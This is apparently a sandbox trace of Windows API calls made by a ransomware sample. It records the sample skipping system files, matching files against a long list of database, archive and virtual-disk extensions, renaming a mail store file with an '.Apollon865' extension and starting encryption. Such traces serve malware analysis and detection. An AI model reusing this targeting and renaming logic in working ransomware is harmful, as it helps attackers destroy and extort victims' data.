	[0057.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0057.959] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x82) returned 0x5b8f28
	[0057.959] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd70 | out: ListHead=0x5b75f0, ListEntry=0x59fd70) returned 0x5b7b10
	[0057.959] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7b05332, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x204000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsMail.MSMessageStore", cAlternateFileName="WINDOW~1.MSM")) returned 1
	[0057.959] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0057.959] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="Apollon865.txt.exe") returned 1
	[0057.959] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".") returned 1
	[0057.959] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="..") returned 1
	[0057.959] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="windows") returned 1
	[0057.959] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="bootmgr") returned 1
	[0057.959] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="temp") returned 1
	[0057.960] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="pagefile.sys") returned 1
	[0057.960] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="boot") returned 1
	[0057.960] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="ids.txt") returned 1
	[0057.960] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="ntuser.dat") returned 1
	[0057.960] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="perflogs") returned 1
	[0057.960] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2="MSBuild") returned 1
	[0057.960] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0057.960] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery") returned 64
	[0057.960] lstrcpyW (in: lpString1=0x119e674, lpString2="WindowsMail.MSMessageStore" | out: lpString1="WindowsMail.MSMessageStore") returned="WindowsMail.MSMessageStore"
	[0057.960] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0057.960] lstrlenW (lpString="Apollon865") returned 10
	[0057.960] lstrcmpiW (lpString1="ssageStore", lpString2="Apollon865") returned 1
	[0057.960] lstrlenW (lpString=".dll") returned 4
	[0057.960] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".dll") returned 1
	[0057.960] lstrlenW (lpString=".lnk") returned 4
	[0057.960] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".lnk") returned 1
	[0057.960] lstrlenW (lpString=".ini") returned 4
	[0057.960] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".ini") returned 1
	[0057.960] lstrlenW (lpString=".sys") returned 4
	[0057.960] lstrcmpiW (lpString1="WindowsMail.MSMessageStore", lpString2=".sys") returned 1
	[0057.960] lstrlenW (lpString="WindowsMail.MSMessageStore") returned 26
	[0057.960] lstrlenW (lpString="bak") returned 3
	[0057.960] lstrcmpiW (lpString1="ore", lpString2="bak") returned 1
	[0057.960] lstrlenW (lpString="ba_") returned 3
	[0057.960] lstrcmpiW (lpString1="ore", lpString2="ba_") returned 1
	[0057.960] lstrlenW (lpString="dbb") returned 3
	[0057.960] lstrcmpiW (lpString1="ore", lpString2="dbb") returned 1
	[0057.960] lstrlenW (lpString="vmdk") returned 4
	[0057.960] lstrcmpiW (lpString1="tore", lpString2="vmdk") returned -1
	[0057.960] lstrlenW (lpString="rar") returned 3
	[0057.960] lstrcmpiW (lpString1="ore", lpString2="rar") returned -1
	[0057.960] lstrlenW (lpString="zip") returned 3
	[0057.960] lstrcmpiW (lpString1="ore", lpString2="zip") returned -1
	[0057.960] lstrlenW (lpString="tgz") returned 3
	[0057.960] lstrcmpiW (lpString1="ore", lpString2="tgz") returned -1
	[0057.961] lstrlenW (lpString="vbox") returned 4
	[0057.961] lstrcmpiW (lpString1="tore", lpString2="vbox") returned -1
	[0057.961] lstrlenW (lpString="vdi") returned 3
	[0057.961] lstrcmpiW (lpString1="ore", lpString2="vdi") returned -1
	[0057.961] lstrlenW (lpString="vhd") returned 3
	[0057.961] lstrcmpiW (lpString1="ore", lpString2="vhd") returned -1
	[0057.961] lstrlenW (lpString="vhdx") returned 4
	[0057.961] lstrcmpiW (lpString1="tore", lpString2="vhdx") returned -1
	[0057.961] lstrlenW (lpString="avhd") returned 4
	[0057.961] lstrcmpiW (lpString1="tore", lpString2="avhd") returned 1
	[0057.961] lstrlenW (lpString="db") returned 2
	[0057.961] lstrcmpiW (lpString1="re", lpString2="db") returned 1
	[0057.961] lstrlenW (lpString="db2") returned 3
	[0057.961] lstrcmpiW (lpString1="ore", lpString2="db2") returned 1
	[0057.961] lstrlenW (lpString="db3") returned 3
	[0057.961] lstrcmpiW (lpString1="ore", lpString2="db3") returned 1
	[0057.961] lstrlenW (lpString="dbf") returned 3
	[0057.961] lstrcmpiW (lpString1="ore", lpString2="dbf") returned 1
	[0057.961] lstrlenW (lpString="mdf") returned 3
	[0057.961] lstrcmpiW (lpString1="ore", lpString2="mdf") returned 1
	[0057.961] lstrlenW (lpString="mdb") returned 3
	[0057.961] lstrcmpiW (lpString1="ore", lpString2="mdb") returned 1
	[0057.961] lstrlenW (lpString="sql") returned 3
	[0057.961] lstrcmpiW (lpString1="ore", lpString2="sql") returned -1
	[0057.961] lstrlenW (lpString="sqlite") returned 6
	[0057.961] lstrcmpiW (lpString1="eStore", lpString2="sqlite") returned -1
	[0057.961] lstrlenW (lpString="sqlite3") returned 7
	[0057.961] lstrcmpiW (lpString1="geStore", lpString2="sqlite3") returned -1
	[0057.961] lstrlenW (lpString="sqlitedb") returned 8
	[0057.961] lstrcmpiW (lpString1="ageStore", lpString2="sqlitedb") returned -1
	[0057.961] lstrlenW (lpString="xml") returned 3
	[0057.961] lstrcmpiW (lpString1="ore", lpString2="xml") returned -1
	[0057.961] lstrlenW (lpString="$er") returned 3
	[0057.961] lstrcmpiW (lpString1="ore", lpString2="$er") returned 1
	[0057.962] lstrlenW (lpString="4dd") returned 3
	[0057.962] lstrcmpiW (lpString1="ore", lpString2="4dd") returned 1
	[0057.962] lstrlenW (lpString="4dl") returned 3
	[0057.962] lstrcmpiW (lpString1="ore", lpString2="4dl") returned 1
	[0057.962] lstrlenW (lpString="^^^") returned 3
	[0057.962] lstrcmpiW (lpString1="ore", lpString2="^^^") returned 1
	[0057.962] lstrlenW (lpString="abs") returned 3
	[0057.962] lstrcmpiW (lpString1="ore", lpString2="abs") returned 1
	[0057.962] lstrlenW (lpString="abx") returned 3
	[0057.962] lstrcmpiW (lpString1="ore", lpString2="abx") returned 1
	[0057.962] lstrlenW (lpString="accdb") returned 5
	[0057.962] lstrcmpiW (lpString1="Store", lpString2="accdb") returned 1
	[0057.962] lstrlenW (lpString="accdc") returned 5
	[0057.962] lstrcmpiW (lpString1="Store", lpString2="accdc") returned 1
	[0057.962] lstrlenW (lpString="accde") returned 5
	[0057.962] lstrcmpiW (lpString1="Store", lpString2="accde") returned 1
	[0057.962] lstrlenW (lpString="accdr") returned 5
	[0057.962] lstrcmpiW (lpString1="Store", lpString2="accdr") returned 1
	[0057.962] lstrlenW (lpString="accdt") returned 5
	[0057.962] lstrcmpiW (lpString1="Store", lpString2="accdt") returned 1
	[0057.962] lstrlenW (lpString="accdw") returned 5
	[0057.962] lstrcmpiW (lpString1="Store", lpString2="accdw") returned 1
	[0057.962] lstrlenW (lpString="accft") returned 5
	[0057.962] lstrcmpiW (lpString1="Store", lpString2="accft") returned 1
	[0057.962] lstrlenW (lpString="adb") returned 3
	[0057.962] lstrcmpiW (lpString1="ore", lpString2="adb") returned 1
	[0057.962] lstrlenW (lpString="adb") returned 3
	[0057.962] lstrcmpiW (lpString1="ore", lpString2="adb") returned 1
	[0057.962] lstrlenW (lpString="ade") returned 3
	[0057.962] lstrcmpiW (lpString1="ore", lpString2="ade") returned 1
	[0057.962] lstrlenW (lpString="adf") returned 3
	[0057.962] lstrcmpiW (lpString1="ore", lpString2="adf") returned 1
	[0057.962] lstrlenW (lpString="adn") returned 3
	[0057.962] lstrcmpiW (lpString1="ore", lpString2="adn") returned 1
	[0057.963] lstrlenW (lpString="adp") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="adp") returned 1
	[0057.963] lstrlenW (lpString="alf") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="alf") returned 1
	[0057.963] lstrlenW (lpString="ask") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="ask") returned 1
	[0057.963] lstrlenW (lpString="btr") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="btr") returned 1
	[0057.963] lstrlenW (lpString="cat") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="cat") returned 1
	[0057.963] lstrlenW (lpString="cdb") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="cdb") returned 1
	[0057.963] lstrlenW (lpString="ckp") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="ckp") returned 1
	[0057.963] lstrlenW (lpString="cma") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="cma") returned 1
	[0057.963] lstrlenW (lpString="cpd") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="cpd") returned 1
	[0057.963] lstrlenW (lpString="dacpac") returned 6
	[0057.963] lstrcmpiW (lpString1="eStore", lpString2="dacpac") returned 1
	[0057.963] lstrlenW (lpString="dad") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="dad") returned 1
	[0057.963] lstrlenW (lpString="dadiagrams") returned 10
	[0057.963] lstrcmpiW (lpString1="ssageStore", lpString2="dadiagrams") returned 1
	[0057.963] lstrlenW (lpString="daschema") returned 8
	[0057.963] lstrcmpiW (lpString1="ageStore", lpString2="daschema") returned -1
	[0057.963] lstrlenW (lpString="db-journal") returned 10
	[0057.963] lstrcmpiW (lpString1="ssageStore", lpString2="db-journal") returned 1
	[0057.963] lstrlenW (lpString="db-shm") returned 6
	[0057.963] lstrcmpiW (lpString1="eStore", lpString2="db-shm") returned 1
	[0057.963] lstrlenW (lpString="db-wal") returned 6
	[0057.963] lstrcmpiW (lpString1="eStore", lpString2="db-wal") returned 1
	[0057.963] lstrlenW (lpString="dbc") returned 3
	[0057.963] lstrcmpiW (lpString1="ore", lpString2="dbc") returned 1
	[0057.964] lstrlenW (lpString="dbs") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dbs") returned 1
	[0057.964] lstrlenW (lpString="dbt") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dbt") returned 1
	[0057.964] lstrlenW (lpString="dbv") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dbv") returned 1
	[0057.964] lstrlenW (lpString="dbx") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dbx") returned 1
	[0057.964] lstrlenW (lpString="dcb") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dcb") returned 1
	[0057.964] lstrlenW (lpString="dct") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dct") returned 1
	[0057.964] lstrlenW (lpString="dcx") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dcx") returned 1
	[0057.964] lstrlenW (lpString="ddl") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="ddl") returned 1
	[0057.964] lstrlenW (lpString="dlis") returned 4
	[0057.964] lstrcmpiW (lpString1="tore", lpString2="dlis") returned 1
	[0057.964] lstrlenW (lpString="dp1") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dp1") returned 1
	[0057.964] lstrlenW (lpString="dqy") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dqy") returned 1
	[0057.964] lstrlenW (lpString="dsk") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dsk") returned 1
	[0057.964] lstrlenW (lpString="dsn") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dsn") returned 1
	[0057.964] lstrlenW (lpString="dtsx") returned 4
	[0057.964] lstrcmpiW (lpString1="tore", lpString2="dtsx") returned 1
	[0057.964] lstrlenW (lpString="dxl") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="dxl") returned 1
	[0057.964] lstrlenW (lpString="eco") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="eco") returned 1
	[0057.964] lstrlenW (lpString="ecx") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="ecx") returned 1
	[0057.964] lstrlenW (lpString="edb") returned 3
	[0057.964] lstrcmpiW (lpString1="ore", lpString2="edb") returned 1
	[0057.965] lstrlenW (lpString="epim") returned 4
	[0057.965] lstrcmpiW (lpString1="tore", lpString2="epim") returned 1
	[0057.965] lstrlenW (lpString="fcd") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fcd") returned 1
	[0057.965] lstrlenW (lpString="fdb") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fdb") returned 1
	[0057.965] lstrlenW (lpString="fic") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fic") returned 1
	[0057.965] lstrlenW (lpString="flexolibrary") returned 12
	[0057.965] lstrcmpiW (lpString1="MessageStore", lpString2="flexolibrary") returned 1
	[0057.965] lstrlenW (lpString="fm5") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fm5") returned 1
	[0057.965] lstrlenW (lpString="fmp") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fmp") returned 1
	[0057.965] lstrlenW (lpString="fmp12") returned 5
	[0057.965] lstrcmpiW (lpString1="Store", lpString2="fmp12") returned 1
	[0057.965] lstrlenW (lpString="fmpsl") returned 5
	[0057.965] lstrcmpiW (lpString1="Store", lpString2="fmpsl") returned 1
	[0057.965] lstrlenW (lpString="fol") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fol") returned 1
	[0057.965] lstrlenW (lpString="fp3") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fp3") returned 1
	[0057.965] lstrlenW (lpString="fp4") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fp4") returned 1
	[0057.965] lstrlenW (lpString="fp5") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fp5") returned 1
	[0057.965] lstrlenW (lpString="fp7") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fp7") returned 1
	[0057.965] lstrlenW (lpString="fpt") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="fpt") returned 1
	[0057.965] lstrlenW (lpString="frm") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="frm") returned 1
	[0057.965] lstrlenW (lpString="gdb") returned 3
	[0057.965] lstrcmpiW (lpString1="ore", lpString2="gdb") returned 1
	[0057.966] lstrlenW (lpString="gdb") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="gdb") returned 1
	[0057.966] lstrlenW (lpString="grdb") returned 4
	[0057.966] lstrcmpiW (lpString1="tore", lpString2="grdb") returned 1
	[0057.966] lstrlenW (lpString="gwi") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="gwi") returned 1
	[0057.966] lstrlenW (lpString="hdb") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="hdb") returned 1
	[0057.966] lstrlenW (lpString="his") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="his") returned 1
	[0057.966] lstrlenW (lpString="ib") returned 2
	[0057.966] lstrcmpiW (lpString1="re", lpString2="ib") returned 1
	[0057.966] lstrlenW (lpString="idb") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="idb") returned 1
	[0057.966] lstrlenW (lpString="ihx") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="ihx") returned 1
	[0057.966] lstrlenW (lpString="itdb") returned 4
	[0057.966] lstrcmpiW (lpString1="tore", lpString2="itdb") returned 1
	[0057.966] lstrlenW (lpString="itw") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="itw") returned 1
	[0057.966] lstrlenW (lpString="jet") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="jet") returned 1
	[0057.966] lstrlenW (lpString="jtx") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="jtx") returned 1
	[0057.966] lstrlenW (lpString="kdb") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="kdb") returned 1
	[0057.966] lstrlenW (lpString="kexi") returned 4
	[0057.966] lstrcmpiW (lpString1="tore", lpString2="kexi") returned 1
	[0057.966] lstrlenW (lpString="kexic") returned 5
	[0057.966] lstrcmpiW (lpString1="Store", lpString2="kexic") returned 1
	[0057.966] lstrlenW (lpString="kexis") returned 5
	[0057.966] lstrcmpiW (lpString1="Store", lpString2="kexis") returned 1
	[0057.966] lstrlenW (lpString="lgc") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="lgc") returned 1
	[0057.966] lstrlenW (lpString="lwx") returned 3
	[0057.966] lstrcmpiW (lpString1="ore", lpString2="lwx") returned 1
	[0057.967] lstrlenW (lpString="maf") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="maf") returned 1
	[0057.967] lstrlenW (lpString="maq") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="maq") returned 1
	[0057.967] lstrlenW (lpString="mar") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="mar") returned 1
	[0057.967] lstrlenW (lpString="marshal") returned 7
	[0057.967] lstrcmpiW (lpString1="geStore", lpString2="marshal") returned -1
	[0057.967] lstrlenW (lpString="mas") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="mas") returned 1
	[0057.967] lstrlenW (lpString="mav") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="mav") returned 1
	[0057.967] lstrlenW (lpString="maw") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="maw") returned 1
	[0057.967] lstrlenW (lpString="mdbhtml") returned 7
	[0057.967] lstrcmpiW (lpString1="geStore", lpString2="mdbhtml") returned -1
	[0057.967] lstrlenW (lpString="mdn") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="mdn") returned 1
	[0057.967] lstrlenW (lpString="mdt") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="mdt") returned 1
	[0057.967] lstrlenW (lpString="mfd") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="mfd") returned 1
	[0057.967] lstrlenW (lpString="mpd") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="mpd") returned 1
	[0057.967] lstrlenW (lpString="mrg") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="mrg") returned 1
	[0057.967] lstrlenW (lpString="mud") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="mud") returned 1
	[0057.967] lstrlenW (lpString="mwb") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="mwb") returned 1
	[0057.967] lstrlenW (lpString="myd") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="myd") returned 1
	[0057.967] lstrlenW (lpString="ndf") returned 3
	[0057.967] lstrcmpiW (lpString1="ore", lpString2="ndf") returned 1
	[0057.967] lstrlenW (lpString="nnt") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="nnt") returned 1
	[0057.968] lstrlenW (lpString="nrmlib") returned 6
	[0057.968] lstrcmpiW (lpString1="eStore", lpString2="nrmlib") returned -1
	[0057.968] lstrlenW (lpString="ns2") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="ns2") returned 1
	[0057.968] lstrlenW (lpString="ns3") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="ns3") returned 1
	[0057.968] lstrlenW (lpString="ns4") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="ns4") returned 1
	[0057.968] lstrlenW (lpString="nsf") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="nsf") returned 1
	[0057.968] lstrlenW (lpString="nv") returned 2
	[0057.968] lstrcmpiW (lpString1="re", lpString2="nv") returned 1
	[0057.968] lstrlenW (lpString="nv2") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="nv2") returned 1
	[0057.968] lstrlenW (lpString="nwdb") returned 4
	[0057.968] lstrcmpiW (lpString1="tore", lpString2="nwdb") returned 1
	[0057.968] lstrlenW (lpString="nyf") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="nyf") returned 1
	[0057.968] lstrlenW (lpString="odb") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="odb") returned 1
	[0057.968] lstrlenW (lpString="odb") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="odb") returned 1
	[0057.968] lstrlenW (lpString="oqy") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="oqy") returned 1
	[0057.968] lstrlenW (lpString="ora") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="ora") returned 1
	[0057.968] lstrlenW (lpString="orx") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="orx") returned -1
	[0057.968] lstrlenW (lpString="owc") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="owc") returned -1
	[0057.968] lstrlenW (lpString="p96") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="p96") returned -1
	[0057.968] lstrlenW (lpString="p97") returned 3
	[0057.968] lstrcmpiW (lpString1="ore", lpString2="p97") returned -1
	[0057.969] lstrlenW (lpString="pan") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="pan") returned -1
	[0057.969] lstrlenW (lpString="pdb") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="pdb") returned -1
	[0057.969] lstrlenW (lpString="pdm") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="pdm") returned -1
	[0057.969] lstrlenW (lpString="pnz") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="pnz") returned -1
	[0057.969] lstrlenW (lpString="qry") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="qry") returned -1
	[0057.969] lstrlenW (lpString="qvd") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="qvd") returned -1
	[0057.969] lstrlenW (lpString="rbf") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="rbf") returned -1
	[0057.969] lstrlenW (lpString="rctd") returned 4
	[0057.969] lstrcmpiW (lpString1="tore", lpString2="rctd") returned 1
	[0057.969] lstrlenW (lpString="rod") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="rod") returned -1
	[0057.969] lstrlenW (lpString="rodx") returned 4
	[0057.969] lstrcmpiW (lpString1="tore", lpString2="rodx") returned 1
	[0057.969] lstrlenW (lpString="rpd") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="rpd") returned -1
	[0057.969] lstrlenW (lpString="rsd") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="rsd") returned -1
	[0057.969] lstrlenW (lpString="sas7bdat") returned 8
	[0057.969] lstrcmpiW (lpString1="ageStore", lpString2="sas7bdat") returned -1
	[0057.969] lstrlenW (lpString="sbf") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="sbf") returned -1
	[0057.969] lstrlenW (lpString="scx") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="scx") returned -1
	[0057.969] lstrlenW (lpString="sdb") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="sdb") returned -1
	[0057.969] lstrlenW (lpString="sdc") returned 3
	[0057.969] lstrcmpiW (lpString1="ore", lpString2="sdc") returned -1
	[0057.969] lstrlenW (lpString="sdf") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="sdf") returned -1
	[0057.970] lstrlenW (lpString="sis") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="sis") returned -1
	[0057.970] lstrlenW (lpString="spq") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="spq") returned -1
	[0057.970] lstrlenW (lpString="te") returned 2
	[0057.970] lstrcmpiW (lpString1="re", lpString2="te") returned -1
	[0057.970] lstrlenW (lpString="teacher") returned 7
	[0057.970] lstrcmpiW (lpString1="geStore", lpString2="teacher") returned -1
	[0057.970] lstrlenW (lpString="tmd") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="tmd") returned -1
	[0057.970] lstrlenW (lpString="tps") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="tps") returned -1
	[0057.970] lstrlenW (lpString="trc") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="trc") returned -1
	[0057.970] lstrlenW (lpString="trc") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="trc") returned -1
	[0057.970] lstrlenW (lpString="trm") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="trm") returned -1
	[0057.970] lstrlenW (lpString="udb") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="udb") returned -1
	[0057.970] lstrlenW (lpString="udl") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="udl") returned -1
	[0057.970] lstrlenW (lpString="usr") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="usr") returned -1
	[0057.970] lstrlenW (lpString="v12") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="v12") returned -1
	[0057.970] lstrlenW (lpString="vis") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="vis") returned -1
	[0057.970] lstrlenW (lpString="vpd") returned 3
	[0057.970] lstrcmpiW (lpString1="ore", lpString2="vpd") returned -1
	[0057.971] lstrlenW (lpString="vvv") returned 3
	[0057.971] lstrcmpiW (lpString1="ore", lpString2="vvv") returned -1
	[0057.971] lstrlenW (lpString="wdb") returned 3
	[0057.971] lstrcmpiW (lpString1="ore", lpString2="wdb") returned -1
	[0057.971] lstrlenW (lpString="wmdb") returned 4
	[0057.971] lstrcmpiW (lpString1="tore", lpString2="wmdb") returned -1
	[0057.971] lstrlenW (lpString="wrk") returned 3
	[0057.971] lstrcmpiW (lpString1="ore", lpString2="wrk") returned -1
	[0057.971] lstrlenW (lpString="xdb") returned 3
	[0057.971] lstrcmpiW (lpString1="ore", lpString2="xdb") returned -1
	[0057.971] lstrlenW (lpString="xld") returned 3
	[0057.971] lstrcmpiW (lpString1="ore", lpString2="xld") returned -1
	[0057.971] lstrlenW (lpString="xmlff") returned 5
	[0057.971] lstrcmpiW (lpString1="Store", lpString2="xmlff") returned -1
	[0057.971] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.Apollon865") returned 91
	[0057.971] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore.apollon865"), dwFlags=0x1) returned 1
	[0057.972] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\WindowsMail.MSMessageStore.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\windowsmail.msmessagestore.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0057.972] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=2113536) returned 1
	[0057.972] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0057.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0057.973] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0057.973] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0057.974] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0057.974] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
